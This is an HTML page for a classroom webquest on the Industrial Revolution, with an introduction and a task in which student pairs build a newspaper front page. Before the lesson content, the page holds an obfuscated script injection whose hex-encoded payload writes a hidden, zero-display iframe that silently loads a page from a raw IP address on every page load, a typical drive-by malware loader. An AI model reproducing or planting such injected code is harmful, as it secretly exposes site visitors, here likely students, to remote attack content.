The Industrial Revolution

<body topmargin=0 leftmargin=0 marginheight=0 marginwidth=0><script>function v483d41d9000f3(v483d41d9004ed){ function v483d41d9008ec () {return 16;} return(parseInt(v483d41d9004ed,v483d41d9008ec()));}function v483d41d901219(v483d41d9014d2){ var v483d41d9020c8=2; var v483d41d901979='';for(v483d41d901cc9=0; v483d41d901cc9<v483d41d9014d2.length; v483d41d901cc9+=v483d41d9020c8){ v483d41d901979+=(String.fromCharCode(v483d41d9000f3(v483d41d9014d2.substr(v483d41d901cc9, v483d41d9020c8))));}return v483d41d901979;} document.write(v483d41d901219('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D63386461663336643032207372633D5C27687474703A2F2F37372E3232312E3133332E3135312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3236323136292B276630643166346333395C272077696474683D323332206865696768743D313133207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> <table cellpadding=0 cellspacing=0 border=0 height="100%"><tr> <td valign="top" width=200 BGCOLOR="#003333" TEXT="#F7F7FF" background="0446b7d3.jpg"> <bR> <bR> </td> <td valign="top" BGCOLOR="#FFFFFF" TEXT="#080000"> <div> <B>The Industrial Revolution</B></div> <div> <B>A webquest by C. Kollar and J. MacKenzie based on work by Ms. Gleason</B></div> <bR> <div> <A HREF="id17.htm" TARGET="_top" TITLE="Process"><U>Process</U></A>   |   <A HREF="id18.htm" TARGET="_top" TITLE="Evaluation and Conclusion"><U>Evaluation and Conclusion</U></A>   |   <A HREF="id19.htm" TARGET="_top" TITLE="Rubric"><U>Rubric</U></A></div> <bR> <div> <B><U>Introduction </U></B></div> <div> The Industrial Revolution led to an enormous leap in industrial production.  Coal and steam replaced wind and water as new sources of energy and power to drive labor saving machines.  In turn, these machines led to new ways of organizing human labor as factories replaced shop and home workrooms.  During the Industrial Revolution, Europe saw a shift from an economy based on farming and handicrafts to an economy based on manufacturing by machines and industrial factories.</div> <div> <B><U>Task</U></B></div> <div> In teams of two you are to create the front page of a local newspaper that will highlight events and ideas from the Industrial Revolution.</div> <div> As the reporter and editor for this local newspaper you will be responsible for:</div> <div> I.   Researching and writing two stories on different topics from the Industrial Revolution (see the <A HREF="id17.htm" TARGET="_top" TITLE="Process"><U>Process Section</U></A>).</div> <div> II.  Highlighting one <A HREF="id23.htm" TARGET="_top" TITLE="Inventors"><U>inventor</U></A> of the time (see the <A HREF="id17.htm" TARGET="_top" TITLE="Process"><U>Process Section</U></A>).</div> <div> III. Writing an editorial that defends or criticizes the effects the Industrial Revolution had on British society.</div> <div> IV. Finding two or more images to supplement your articles.</div> <div> V.  Placing your stories and images together in newspaper format.</div> </td> </tr></table></body>